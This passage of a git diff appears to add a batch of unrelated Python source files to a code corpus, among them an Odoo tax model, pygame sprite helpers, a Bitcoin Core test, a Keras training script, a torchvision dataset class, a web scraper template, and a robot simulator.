+            raise models.ValidationError(strWarning)
+        return results[0]
+
+    @api.multi
+    def get_rate(self, ptkp_category):
+        self.ensure_one()
+        lines = self.line_ids.filtered(
+            lambda r: r.ptkp_category_id.id == ptkp_category.id)
+        if not lines:
+            raise models.ValidationError(_("Wes"))
+        return lines[0].ptkp_rate
+
+
+class PtkpLine(models.Model):
+    _name = "l10n_id.ptkp_line"
+    _description = "PTKP Line"
+
+    ptkp_id = fields.Many2one(
+        string="PTKP",
+        comodel_name="l10n_id.ptkp",
+        ondelete="cascade",
+    )
+    ptkp_category_id = fields.Many2one(
+        string="PTKP Category",
+        comodel_name="l10n_id.ptkp_category",
+        required=True,
+    )
+    ptkp_rate = fields.Float(
+        string="Tarif PTKP",
+        required=True,
+    )
+
+    _sql_constraints = [
+        ("pktp_category_use_only_once",
+         "unique(ptkp_id, ptkp_category_id)",
+         _("PTKP category can only be used once on each PTKP"))
+    ]
diff --git a/pool/shard000/Python/0008630_sprites.py b/pool/shard000/Python/0008630_sprites.py
new file mode 100644
index 0000000000000000000000000000000000000000..4bd5e4e7c86154529f8fd43ce91aca2f34e9919a
--- /dev/null
+++ b/pool/shard000/Python/0008630_sprites.py
@@ -0,0 +1,53 @@
+import pygame
+from pygame.locals import *
+
+
+class SpriteSheet:
+
+    def __init__(self, image_path):
+        self.image = pygame.image.load(image_path).convert_alpha()
+
+
+    def image_at(self, rect):
+        image = self.image.subsurface(rect)
+        #image.convert_alpha()
+        return image.copy()
+
+    def images_at(self, rect, nb):
+        return [self.image_at((i * rect[2], rect[1], rect[2], rect[3])) for i in range(nb)]
+
+
+class Animation:
+
+    def __init__(self, images):
+        self.images = images
+        self.current = 0
+
+    def next(self):
+        i = self.images[self.current]
+        self.current = (self.current + 1) % len(self.images)
+        return i
+
+    def current_image(self):
+        return self.images[self.current]
+
+    def stop(self):
+        self.current = 0
+
+
+class TimedAnimation(Animation):
+
+    def __init__(self, images, delta):
+        Animation.__init__(self, images)
+        self.timer = pygame.time.get_ticks()
+        self.delta = delta
+
+    def next(self):
+        if (pygame.time.get_ticks() - self.timer) > self.delta:
+            self.timer = pygame.time.get_ticks()
+            return Animation.next(self)
+        else:
+            return self.images[self.current]
+
+    def stop(self):
+        pass
diff --git a/pool/shard000/Python/0008631_feature_loadblock.py b/pool/shard000/Python/0008631_feature_loadblock.py
new file mode 100644
index 0000000000000000000000000000000000000000..0a457ca17f749f75235d8c1ae724bcf7b42abb68
--- /dev/null
+++ b/pool/shard000/Python/0008631_feature_loadblock.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python3
+# Copyright (c) 2017-2020 The Bitcoin Core developers
+# Distributed under the MIT software license, see the accompanying
+# file COPYING or http://www.opensource.org/licenses/mit-license.php.
+"""Test loadblock option
+
+Test the option to start a node with the option loadblock which loads
+a serialized blockchain from a file (usually called bootstrap.dat).
+To generate that file this test uses the helper scripts available
+in contrib/linearize.
+"""
+
+import os
+import subprocess
+import sys
+import tempfile
+import urllib
+
+from test_framework.test_framework import BitcoinTestFramework
+from test_framework.util import assert_equal
+
+
+class LoadblockTest(BitcoinTestFramework):
+    def set_test_params(self):
+        self.setup_clean_chain = True
+        self.num_nodes = 2
+        self.supports_cli = False
+
+    def run_test(self):
+        self.nodes[1].setnetworkactive(state=False)
+        self.nodes[0].generate(100)
+
+        # Parsing the url of our node to get settings for config file
+        data_dir = self.nodes[0].datadir
+        node_url = urllib.parse.urlparse(self.nodes[0].url)
+        cfg_file = os.path.join(data_dir, "linearize.cfg")
+        bootstrap_file = os.path.join(self.options.tmpdir, "bootstrap.dat")
+        genesis_block = self.nodes[0].getblockhash(0)
+        blocks_dir = os.path.join(data_dir, self.chain, "blocks")
+        hash_list = tempfile.NamedTemporaryFile(dir=data_dir,
+                                                mode='w',
+                                                delete=False,
+                                                encoding="utf-8")
+
+        self.log.info("Create linearization config file")
+        with open(cfg_file, "a", encoding="utf-8") as cfg:
+            cfg.write("datadir={}\n".format(data_dir))
+            cfg.write("rpcuser={}\n".format(node_url.username))
+            cfg.write("rpcpassword={}\n".format(node_url.password))
+            cfg.write("port={}\n".format(node_url.port))
+            cfg.write("host={}\n".format(node_url.hostname))
+            cfg.write("output_file={}\n".format(bootstrap_file))
+            cfg.write("max_height=100\n")
+            cfg.write("netmagic=fabfb5da\n")
+            cfg.write("input={}\n".format(blocks_dir))
+            cfg.write("genesis={}\n".format(genesis_block))
+            cfg.write("hashlist={}\n".format(hash_list.name))
+
+        base_dir = self.config["environment"]["SRCDIR"]
+        linearize_dir = os.path.join(base_dir, "contrib", "linearize")
+
+        self.log.info("Run linearization of block hashes")
+        linearize_hashes_file = os.path.join(linearize_dir, "linearize-hashes.py")
+        subprocess.run([sys.executable, linearize_hashes_file, cfg_file],
+                       stdout=hash_list,
+                       check=True)
+
+        self.log.info("Run linearization of block data")
+        linearize_data_file = os.path.join(linearize_dir, "linearize-data.py")
+        subprocess.run([sys.executable, linearize_data_file, cfg_file],
+                       check=True)
+
+        self.log.info("Restart second, unsynced node with bootstrap file")
+        self.restart_node(1, extra_args=["-loadblock=" + bootstrap_file])
+        assert_equal(self.nodes[1].getblockcount(), 100)  # start_node is blocking on all block files being imported
+
+        assert_equal(self.nodes[1].getblockchaininfo()['blocks'], 100)
+        assert_equal(self.nodes[0].getbestblockhash(), self.nodes[1].getbestblockhash())
+
+
+if __name__ == '__main__':
+    LoadblockTest().main()
diff --git a/pool/shard000/Python/0008632_train.py b/pool/shard000/Python/0008632_train.py
new file mode 100644
index 0000000000000000000000000000000000000000..27b30f5d4f91f851cb49b31c92bad1f9fb492ff8
--- /dev/null
+++ b/pool/shard000/Python/0008632_train.py
@@ -0,0 +1,102 @@
+"""
+CLI for training feedforward neural networks with prepared data.
+"""
+
+import argparse
+import sys
+import os
+import datetime
+import socket
+from math import sqrt
+
+import tensorflow.contrib.keras as keras
+
+import vixstructure.data as data
+import vixstructure.models as models
+
+parser = argparse.ArgumentParser(description="Train a fully-connected neural network.")
+parser.add_argument("network_depth", type=int)
+parser.add_argument("network_width", type=int)
+parser.add_argument("-d", "--dropout", type=float, default=None)
+parser.add_argument("-op", "--optimizer", choices=["Adam", "SGD"], default="Adam")
+parser.add_argument("-lr", "--learning_rate", type=float, default=0.001)
+parser.add_argument("-bs", "--batch_size", type=int, default=32)
+parser.add_argument("-e", "--epochs", type=int, default=100)
+parser.add_argument("-n", "--normalize", action="store_true")
+parser.add_argument("-q", "--quiet", action="store_true")
+parser.add_argument("-s", "--save", type=str, help="Optional: Specify save path for trained model.")
+parser.add_argument("-m", "--model", choices=["term_structure_to_spread_price",
+                                              "term_structure_to_spread_price_v2"],
+                    default="term_structure_to_spread_price",
+                    help="See models defined in vixstructure.models.")
+parser.add_argument("-a", "--activation", default="relu", help="Activation function for hidden layers.",
+                    choices=["relu", "selu"])
+parser.add_argument("--data", choices=["LongPricesDataset", "VIXLongPrice", "MinutelyData"],
+                    default="LongPricesDataset",
+                    help="Which data to use for training and validation.")
+parser.add_argument("--days", type=int, default=1, help="How many days to predict into the future.")
+parser.add_argument("--reduce_lr", action="store_true", help="If validation loss stagnates, reduce lr by sqrt(0.1).")
+parser.add_argument("--shuffle_off", action="store_false", help="Don't shuffle training data.")
+parser.add_argument("--include_months", action="store_true")
+parser.add_argument("--include_days", action="store_true")
+parser.add_argument("--early_stopping", action="store_true")
+
+
+def train(args):
+    if args.data == "LongPricesDataset":
+        input_length = 9
+        input_length += int(args.include_months)
+        input_length += int(args.include_days)
+    elif args.data == "VIXLongPrice":
+        input_length = 8
+    else:
+        input_length = 9
+    model = getattr(models, args.model)(args.network_depth, args.network_width, args.dropout,
+                                        activation_function=args.activation, input_data_length=input_length)
+    optimizer = getattr(keras.optimizers, args.optimizer)(lr=args.learning_rate)
+    if args.data == "LongPricesDataset":
+        dataset = getattr(data, args.data)("data/8_m_settle.csv", "data/expirations.csv")
+        (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset(normalize=args.normalize,
+                                                                         with_months=args.include_months,
+                                                                         with_days=args.include_days,
+                                                                         days_to_future=args.days)
+    elif args.data == "MinutelyData":
+        dataset = getattr(data, args.data)("data/term_structure_minutely.h5")
+        (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset()
+    else:
+        dataset = getattr(data, args.data)("data/8_m_settle.csv", "data/expirations.csv", "data/vix.csv")
+        (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset(with_expirations=True, with_vix=True)
+    metrics = []
+    if args.normalize:
+        metrics.append(dataset.denorm_mse)
+    model.compile(optimizer, "mean_squared_error", metrics=metrics)
+    callbacks = []
+    if args.save:
+        now = datetime.datetime.now()
+        name = "{}_{}_depth{}_width{}_days{}_dropout{:.0e}_optim{}_lr{:.0e}{}".format(
+            now.strftime("%Y%m%d%H%M%S"),
+            socket.gethostname(),
+            args.network_depth,
+            args.network_width,
+            args.days,
+            0 if not args.dropout else args.dropout,
+            args.optimizer,
+            args.learning_rate,
+            "_normalized" if args.normalize else "")
+        callbacks.append(keras.callbacks.CSVLogger(os.path.join(args.save, name + ".csv")))
+    if args.reduce_lr:
+        callbacks.append(keras.callbacks.ReduceLROnPlateau(factor=sqrt(0.1), patience=20, min_lr=0.0001, verbose=1))
+    if args.early_stopping:
+        callbacks.append(keras.callbacks.EarlyStopping(patience=22, verbose=1))
+    model.fit(x_train, y_train, args.batch_size, args.epochs, verbose=0 if args.quiet else 2,
+              validation_data=(x_val, y_val), callbacks=callbacks, shuffle=args.shuffle_off)
+    if args.save:
+        try:
+            model.save_weights(os.path.join(args.save, name + ".h5"))
+        except FileNotFoundError as e:
+            print("Could not save the model.", str(e), file=sys.stderr)
+
+
+if __name__ == "__main__":
+    args = parser.parse_args()
+    train(args)
diff --git a/pool/shard000/Python/0008636_dataset.py b/pool/shard000/Python/0008636_dataset.py
new file mode 100644
index 0000000000000000000000000000000000000000..5ee7c5ccc6028127969d36e03b694a9d540ee49d
--- /dev/null
+++ b/pool/shard000/Python/0008636_dataset.py
@@ -0,0 +1,183 @@
+import abc
+import csv
+import importlib
+import itertools
+import os
+import pathlib
+from typing import Any, Dict, List, Optional, Sequence, Union, Tuple, Collection
+
+from torch.utils.data import IterDataPipe
+from torchvision.prototype.utils._internal import FrozenBunch, make_repr, add_suggestion, sequence_to_str
+
+from .._home import use_sharded_dataset
+from ._internal import BUILTIN_DIR, _make_sharded_datapipe
+from ._resource import OnlineResource
+
+
+class DatasetConfig(FrozenBunch):
+    # This needs to be Frozen because we often pass configs as partial(func, config=config)
+    # and partial() requires the parameters to be hashable.
+    pass
+
+
+class DatasetInfo:
+    def __init__(
+        self,
+        name: str,
+        *,
+        dependencies: Collection[str] = (),
+        categories: Optional[Union[int, Sequence[str], str, pathlib.Path]] = None,
+        citation: Optional[str] = None,
+        homepage: Optional[str] = None,
+        license: Optional[str] = None,
+        valid_options: Optional[Dict[str, Sequence[Any]]] = None,
+        extra: Optional[Dict[str, Any]] = None,
+    ) -> None:
+        self.name = name.lower()
+
+        self.dependecies = dependencies
+
+        if categories is None:
+            path = BUILTIN_DIR / f"{self.name}.categories"
+            categories = path if path.exists() else []
+        if isinstance(categories, int):
+            categories = [str(label) for label in range(categories)]
+        elif isinstance(categories, (str, pathlib.Path)):
+            path = pathlib.Path(categories).expanduser().resolve()
+            categories, *_ = zip(*self.read_categories_file(path))
+        self.categories = tuple(categories)
+
+        self.citation = citation
+        self.homepage = homepage
+        self.license = license
+
+        self._valid_options = valid_options or dict()
+        self._configs = tuple(
+            DatasetConfig(**dict(zip(self._valid_options.keys(), combination)))
+            for combination in itertools.product(*self._valid_options.values())
+        )
+
+        self.extra = FrozenBunch(extra or dict())
+
+    @property
+    def default_config(self) -> DatasetConfig:
+        return self._configs[0]
+
+    @staticmethod
+    def read_categories_file(path: pathlib.Path) -> List[List[str]]:
+        with open(path, newline="") as file:
+            return [row for row in csv.reader(file)]
+
+    def make_config(self, **options: Any) -> DatasetConfig:
+        if not self._valid_options and options:
+            raise ValueError(
+                f"Dataset {self.name} does not take any options, "
+                f"but got {sequence_to_str(list(options), separate_last=' and')}."
+            )
+
+        for name, arg in options.items():
+            if name not in self._valid_options:
+                raise ValueError(
+                    add_suggestion(
+                        f"Unknown option '{name}' of dataset {self.name}.",
+                        word=name,
+                        possibilities=sorted(self._valid_options.keys()),
+                    )
+                )
+
+            valid_args = self._valid_options[name]
+
+            if arg not in valid_args:
+                raise ValueError(
+                    add_suggestion(
+                        f"Invalid argument '{arg}' for option '{name}' of dataset {self.name}.",
+                        word=arg,
+                        possibilities=valid_args,
+                    )
+                )
+
+        return DatasetConfig(self.default_config, **options)
+
+    def check_dependencies(self) -> None:
+        for dependency in self.dependecies:
+            try:
+                importlib.import_module(dependency)
+            except ModuleNotFoundError as error:
+                raise ModuleNotFoundError(
+                    f"Dataset '{self.name}' depends on the third-party package '{dependency}'. "
+                    f"Please install it, for example with `pip install {dependency}`."
+                ) from error
+
+    def __repr__(self) -> str:
+        items = [("name", self.name)]
+        for key in ("citation", "homepage", "license"):
+            value = getattr(self, key)
+            if value is not None:
+                items.append((key, value))
+        items.extend(sorted((key, sequence_to_str(value)) for key, value in self._valid_options.items()))
+        return make_repr(type(self).__name__, items)
+
+
+class Dataset(abc.ABC):
+    def __init__(self) -> None:
+        self._info = self._make_info()
+
+    @abc.abstractmethod
+    def _make_info(self) -> DatasetInfo:
+        pass
+
+    @property
+    def info(self) -> DatasetInfo:
+        return self._info
+
+    @property
+    def name(self) -> str:
+        return self.info.name
+
+    @property
+    def default_config(self) -> DatasetConfig:
+        return self.info.default_config
+
+    @property
+    def categories(self) -> Tuple[str, ...]:
+        return self.info.categories
+
+    @abc.abstractmethod
+    def resources(self, config: DatasetConfig) -> List[OnlineResource]:
+        pass
+
+    @abc.abstractmethod
+    def _make_datapipe(
+        self,
+        resource_dps: List[IterDataPipe],
+        *,
+        config: DatasetConfig,
+    ) -> IterDataPipe[Dict[str, Any]]:
+        pass
+
+    def supports_sharded(self) -> bool:
+        return False
+
+    def load(
+        self,
+        root: Union[str, pathlib.Path],
+        *,
+        config: Optional[DatasetConfig] = None,
+        skip_integrity_check: bool = False,
+    ) -> IterDataPipe[Dict[str, Any]]:
+        if not config:
+            config = self.info.default_config
+
+        if use_sharded_dataset() and self.supports_sharded():
+            root = os.path.join(root, *config.values())
+            dataset_size = self.info.extra["sizes"][config]
+            return _make_sharded_datapipe(root, dataset_size)  # type: ignore[no-any-return]
+
+        self.info.check_dependencies()
+        resource_dps = [
+            resource.load(root, skip_integrity_check=skip_integrity_check) for resource in self.resources(config)
+        ]
+        return self._make_datapipe(resource_dps, config=config)
+
+    def _generate_categories(self, root: pathlib.Path) -> Sequence[Union[str, Sequence[str]]]:
+        raise NotImplementedError
diff --git a/pool/shard000/Python/0008638_scratchListTemplate.py b/pool/shard000/Python/0008638_scratchListTemplate.py
new file mode 100644
index 0000000000000000000000000000000000000000..bf8350940166bd9a805968ee8146172af92021b7
--- /dev/null
+++ b/pool/shard000/Python/0008638_scratchListTemplate.py
@@ -0,0 +1,54 @@
+# coding:utf-8
+#!/usr/bin/env python
+# coding:utf-8
+# @Date    : 2017-01-01 20:38:38
+# @Author  : Smile Hu (smile.hu@sap.com)
+# @Link    : http://www.smilehu.com
+
+import sys
+reload(sys)
+sys.setdefaultencoding('utf-8')
+
+
+from bs4 import BeautifulSoup
+import requests
+from time import  sleep
+
+headers = {
+    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/44.0',
+    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+    'Accept-Language': 'en-US,en;q=0.5',
+    'Accept-Encoding': 'gzip, deflate',
+    'Connection': 'keep-alive'}
+
+def getListData(outputfile, *args):
+    url = ''.join(args)
+    print url
+    html = requests.get(url, headers=headers).text
+    beautyHtml = BeautifulSoup(html, 'lxml')
+
+    # 第三步：最重要的定制规则
+    # 搜索tag
+    tag = beautyHtml.find('div', attrs={'class': 'bottom'})
+    tags = beautyHtml.find_all('div')
+    tags = beautyHtml.find_all(id='html')
+    sub_tags = tag.find_all('div')
+
+    # 获取tag的值
+    tag_value = tag.div.string  # type: bs4.element.NavigableString 也是一种unicode, 可以用str() 进行转换
+    tag_value = tag.head.text  # type: bs4.element.NavigableString 也是一种unicode, 可以用str() 进行转换
+
+    # 获取property的值
+    property_value = tag['class'].string
+
+
+if __name__ == '__main':
+    # 第一步：确定好输出文件
+    inputfliePath = '/Users/i309929/Desktop/input.txt'
+    outputfile = open(inputfliePath, 'w')
+
+    # 第二步：定制url
+    url = 'http://www.aqistudy.cn/historydata/index.php'
+    getListData(outputfile, url)
+
+    outputfile.close()
diff --git a/pool/shard000/Python/0008640_main.py b/pool/shard000/Python/0008640_main.py
new file mode 100644
index 0000000000000000000000000000000000000000..fea62015b945891900e1566d30544f210e60c239
--- /dev/null
+++ b/pool/shard000/Python/0008640_main.py
@@ -0,0 +1,209 @@
+from vec import Vec2, vec2_from_direction
+
+import sys
+#from sdl2.ext import *
+import sdl2.ext as sdl
+import sdl2
+import math
+import time
+import os
+import pdb
+
+
+command_filename = "/tmp/hexsim/command"
+START_X_POS = -0.3
+START_Y_POS = 1
+START_ANGLE = -0.2 * math.pi
+
+class Robot:
+    def __init__(self, sensor_positions):
+        self.position = Vec2(START_X_POS,START_Y_POS)
+        self.angle = START_ANGLE
+        self.sensor_positions = sensor_positions
+
+
+def set_command_file():
+    with open(command_filename, 'w') as cmd_file:
+        cmd_file.write("0.0,0.0,0.0")
+    cmd_file.close()
+
+def read_commands():
+    """
+    Returns a tuple with speed forward, speed left/right and turn speed
+    """
+
+    with open(command_filename) as txt:
+        file_content = txt.read()
+        while len(file_content) == 0:
+            file_content = txt.read()
+        split_content = file_content.split(",")
+
+        return (
+                float(split_content[0]),
+                float(split_content[1]),
+                float(split_content[2])
+                )
+
+
+def add_noise_function(command, function):
+    command = function(command)
+    return command
+
+
+def update_robot(robot, command, delta_time):
+    forward, strafe, turn = command
+
+    robot.position += vec2_from_direction(robot.angle - math.pi/2, forward * delta_time)
+    robot.position += vec2_from_direction(robot.angle, strafe * delta_time)
+    robot.angle += turn * delta_time
+
+    return robot
+
+
+WINDOW_SIZE = (1300, 700)
+
+def init_window():
+    window = sdl.Window("Hello World!", size=WINDOW_SIZE)
+    window.show()
+
+    return window
+
+
+def meters_to_pixels(m):
+    return int(m * 350)
+
+
+def draw_robot(surface, robot):
+    pos_x = meters_to_pixels(robot.position.x) + WINDOW_SIZE[0] // 2
+    pos_y = meters_to_pixels(robot.position.y) % WINDOW_SIZE[1]
+
+    line = (
+            pos_x,
+            pos_y,
+            pos_x + int(meters_to_pixels(0.10) * math.cos(robot.angle - math.pi / 2)),
+            pos_y + int(meters_to_pixels(0.10) * math.sin(robot.angle - math.pi / 2)),
+            pos_x,
+            pos_y,
+            pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle + math.pi / 2)),
+            pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle + math.pi / 2)),
+            pos_x,
+            pos_y,
+            pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle + 0)),
+            pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle + 0)),
+            pos_x,
+            pos_y,
+            pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle - math.pi)),
+            pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle - math.pi))
+        )
+
+    sdl.line(surface, sdl.Color(255,255,100), line)
+
+
+def draw(window, robot):
+    events = sdl.get_events()
+    for event in events:
+        if event.type == sdl2.SDL_QUIT:
+            running = False
+            break
+
+    surface = window.get_surface()
+    sdl.fill(surface, sdl.Color(0,0,0))
+
+    #Drawing the walls
+    sdl.line(surface, sdl.Color(255,255,255),
+            (
+                - meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, 0,
+                - meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, WINDOW_SIZE[1],
+                meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, 0,
+                meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, WINDOW_SIZE[1]
+            ))
+
+    draw_robot(surface, robot)
+
+    window.refresh()
+
+
+
+def get_senor_position(robot, sensor_pos):
+    sensor_angle = math.atan2(sensor_pos.y, sensor_pos.x)
+    sensor_length = abs(sensor_pos)
+
+    total_angle = robot.angle + sensor_angle
+
+    new_pos = robot.position + vec2_from_direction(total_angle, sensor_length)
+
+    return new_pos
+
+
+def write_sensor_data(robot):
+    result = "" + str(robot.angle)
+
+    for i in range(len(robot.sensor_positions)):
+        sensor = robot.sensor_positions[i]
+
+        sensor_pos = get_senor_position(robot, sensor)
+        sensor_value = 0
+        if i <= 1:
+            sensor_angle = robot.angle
+
+            wall_pos = 0.4
+
+            x_distance = wall_pos - sensor_pos.x
+
+            sensor_value = x_distance / math.cos(sensor_angle)
+        else:
+            sensor_angle = robot.angle + math.pi
+
+            wall_pos = - 0.4
+
+            x_distance = wall_pos - sensor_pos.x
+
+            sensor_value = x_distance / math.cos(sensor_angle)
+
+        result += "," + str(sensor_value) #+ math.sin(time.time() * 7)/20)
+
+    file_path = "/tmp/hexsim/sensors"
+
+    with open(file_path, mode="w") as file:
+        file.write(result)
+
+    return result
+
+
+def set_start_values():
+    noise_function = lambda cmd: (
+            cmd[0],
+            cmd[1], #+ math.sin(time.time())/15,
+            cmd[2]  #+ math.sin(time.time() * 3)/15
+        )
+    return (noise_function, [Vec2(0.1,0.1), Vec2(0.1,-0.1), Vec2(-0.1,0.1), Vec2(-0.1,-0.1)])
+
+def main():
+    set_command_file()
+
+    noise_func, sensor_positions = set_start_values()
+
+    robot = Robot(sensor_positions)
+
+    window = init_window()
+
+    old_time = time.time()
+
+    while True:
+        new_time = time.time()
+        delta_time = new_time - old_time
+        old_time = new_time
+
+        commands = read_commands()
+
+        commands = add_noise_function(commands, noise_func)
+
+        robot = update_robot(robot, commands, delta_time)
+
+        draw(window, robot)
+
+        write_sensor_data(robot)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/pool/shard000/Python/0008646_mtce.py b/pool/shard000/Python/0008646_mtce.py
new file mode 100644
index 0000000000000000000000000000000000000000..60c83299f5f929a609b30f4a545704942e88cb3d
--- /dev/null
+++ b/pool/shard000/Python/0008646_mtce.py
@@ -0,0 +1,15 @@
+# MetaclassErrors
+
+
+class MetaclassError(Exception):
+    def __init__(self, info):
+        self.info = info
+
+
+class BadMultitonIdentifier(MetaclassError):
+    def __str__(self):
+        data = ['{0.info[0]} probably is not a good identifier to distinguish',
+                'multitones of {0.info[1]}. It might possible not even be',
+                'one of the __init__ parameters of the object.',
+                'Re-check your object definition.']
+        return ' '.join(data).format(self).replace('. ', '.\n')
diff --git a/pool/shard000/Python/0008647_bls_example.py b/pool/shard000/Python/0008647_bls_example.py
new file mode 100644
index 0000000000000000000000000000000000000000..ebd89a4a1c635e46fa95ce3afbeebab863e83d8b
--- /dev/null
+++ b/pool/shard000/Python/0008647_bls_example.py
@@ -0,0 +1,132 @@
+import cuvarbase.bls as bls
+import numpy as np
+import matplotlib.pyplot as plt
+
+
+def phase(t, freq, phi0=0.):
+    phi = (t * freq - phi0)
+    phi -= np.floor(phi)
+
+    return phi
+
+
+def transit_model(t, freq, y0=0.0, delta=1., q=0.01, phi0=0.5):
+    phi = phase(t, freq, phi0=phi0)
+    transit = phi < q
+
+    y = y0 * np.ones_like(t)
+    y[transit] -= delta
+    return y
+
+
+def data(ndata=100, baseline=1, freq=10, sigma=1., **kwargs):
+    t = baseline * np.sort(np.random.rand(ndata))
+    y = transit_model(t, freq, **kwargs)
+    dy = sigma * np.ones_like(t)
+
+    y += dy * np.random.randn(len(t))
+
+    return t, y, dy
+
+
+def plot_bls_model(ax, y0, delta, q, phi0, **kwargs):
+    phi_plot = np.linspace(0, 1, 50./q)
+    y_plot = transit_model(phi_plot, 1., y0=y0,
+                           delta=delta, q=q, phi0=phi0)
+
+    ax.plot(phi_plot, y_plot, **kwargs)
+
+
+def plot_bls_sol(ax, t, y, dy, freq, q, phi0, **kwargs):
+    w = np.power(dy, -2)
+    w /= sum(w)
+
+    phi = phase(t, freq, phi0=phi0)
+    transit = phi < q
+
+    def ybar(mask):
+        return np.dot(w[mask], y[mask]) / sum(w[mask])
+
+    y0 = ybar(~transit)
+    delta = y0 - ybar(transit)
+
+    ax.scatter((phi[~transit] + phi0) % 1.0, y[~transit],
+               c='k', s=1, alpha=0.5)
+    ax.scatter((phi[transit] + phi0) % 1.0, y[transit],
+               c='r', s=1, alpha=0.5)
+    plot_bls_model(ax, y0, delta, q, phi0, **kwargs)
+
+    ax.set_xlim(0, 1)
+    ax.set_xlabel('$\phi$ ($f = %.3f$)' % (freq))
+    ax.set_ylabel('$y$')
+
+# set the transit parameters
+transit_kwargs = dict(freq=0.1,
+                      q=0.1,
+                      y0=10.,
+                      sigma=0.002,
+                      delta=0.05,
+                      phi0=0.5)
+
+# generate data with a transit
+t, y, dy = data(ndata=300,
+                baseline=365.,
+                **transit_kwargs)
+
+# set up search parameters
+search_params = dict(qmin=1e-2,
+                     qmax=0.5,
+
+                     # The logarithmic spacing of q
+                     dlogq=0.1,
+
+                     # Number of overlapping phase bins
+                     # to use for finding the best phi0
+                     noverlap=3)
+
+# derive baseline from the data for consistency
+baseline = max(t) - min(t)
+
+# df ~ qmin / baseline
+df = search_params['qmin'] / baseline
+fmin = 2. / baseline
+fmax = 2.
+
+nf = int(np.ceil((fmax - fmin) / df))
+freqs = fmin + df * np.arange(nf)
+
+bls_power, sols = bls.eebls_gpu(t, y, dy, freqs,
+                                **search_params)
+
+# best BLS fit
+q_best, phi0_best = sols[np.argmax(bls_power)]
+f_best = freqs[np.argmax(bls_power)]
+
+# Plot results
+f, (ax_bls, ax_true, ax_best) = plt.subplots(1, 3, figsize=(9, 3))
+
+# Periodogram
+ax_bls.plot(freqs, bls_power)
+ax_bls.axvline(transit_kwargs['freq'],
+               ls=':', color='k', label="$f_0$")
+ax_bls.axvline(f_best, ls=':', color='r',
+               label='BLS $f_{\\rm best}$')
+ax_bls.set_xlabel('freq.')
+ax_bls.set_ylabel('BLS power')
+
+# True solution
+plot_bls_sol(ax_true, t, y, dy,
+             transit_kwargs['freq'],
+             transit_kwargs['q'],
+             transit_kwargs['phi0'])
+
+# Best-fit solution
+plot_bls_sol(ax_best, t, y, dy,
+             f_best, q_best, phi0_best)
+
+
+ax_true.set_title("True parameters")
+ax_best.set_title("Best BLS parameters")
+
+f.tight_layout()
+plt.show()
diff --git a/pool/shard000/Python/0008649_init__.py b/pool/shard000/Python/0008649_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..708dab9cde802d76e45563d9fff7f387732f6337
--- /dev/null
+++ b/pool/shard000/Python/0008649_init__.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# @Author: abhishek
+# @Email: abhishek@zeroth.me
+# @Date:   2015-06-01 10:56:26
+# @License: Please read LICENSE file in project root.
+# @Last Modified by:   abhishek
+# @Last Modified time: 2015-06-10 16:48:55
+
+# plugin name is just being use for debug purpose 
+# it has nothing to do with actual plugin loader
+# plugin loader totally depend on `path, directory name and type`
+__plugin_name__ = 'new'
+__plugin_type__ = 'action'
+
+import os
+import sys
+import shutil
+
+dir_name = None
+def _init_plugin_(args, config):
+	#TODO: build can have arguments
+	if(len(args)<2):
+		print "new needs one argument use it like muld new <directory_name>"
+		sys.exit(1)
+
+	global dir_name
+	dir_name = args[1]
+	return True
+
+
+def _run_plugin_():
+	new_plugin_path = os.path.dirname(os.path.abspath(__file__))
+	cwd = os.getcwdu()
+	template_path = os.path.join(new_plugin_path, "site_template")
+	global dir_name
+	if(os.path.exists(template_path)):
+		if( not os.path.exists(os.path.join(cwd, dir_name))):
+			shutil.copytree(template_path, os.path.join(cwd, dir_name))
+		else:
+			print "%s already exists delete it or choos the new name which you want to create" % os.path.join(cwd, dir_name)
diff --git a/pool/shard000/Python/0008656_package.py b/pool/shard000/Python/0008656_package.py
new file mode 100644
index 0000000000000000000000000000000000000000..1bf4674bb2ca568e1145eb41b883baee0108b84e
--- /dev/null
+++ b/pool/shard000/Python/0008656_package.py
@@ -0,0 +1,61 @@
+##############################################################################
+# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
+# Produced at the Lawrence Livermore National Laboratory.
+#
+# This file is part of Spack.
+# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
+# LLNL-CODE-647188
+#
+# For details, see https://github.com/llnl/spack
+# Please also see the NOTICE and LICENSE files for our notice and the LGPL.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License (as
+# published by the Free Software Foundation) version 2.1, February 1999.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and
+# conditions of the GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+##############################################################################
+from spack import *
+import os
+
+
+class Signalp(Package):
+    """SignalP predicts the presence and location of signal peptide cleavage
+       sites in amino acid sequences from different organisms: Gram-positive
+       bacteria, Gram-negative bacteria, and eukaryotes.
+       Note: A manual download is required for SignalP.
+       Spack will search your current directory for the download file.
+       Alternatively, add this file to a mirror so that Spack can find it.
+       For instructions on how to set up a mirror, see
+       http://spack.readthedocs.io/en/latest/mirrors.html"""
+
+    homepage = "http://www.cbs.dtu.dk/services/SignalP/"
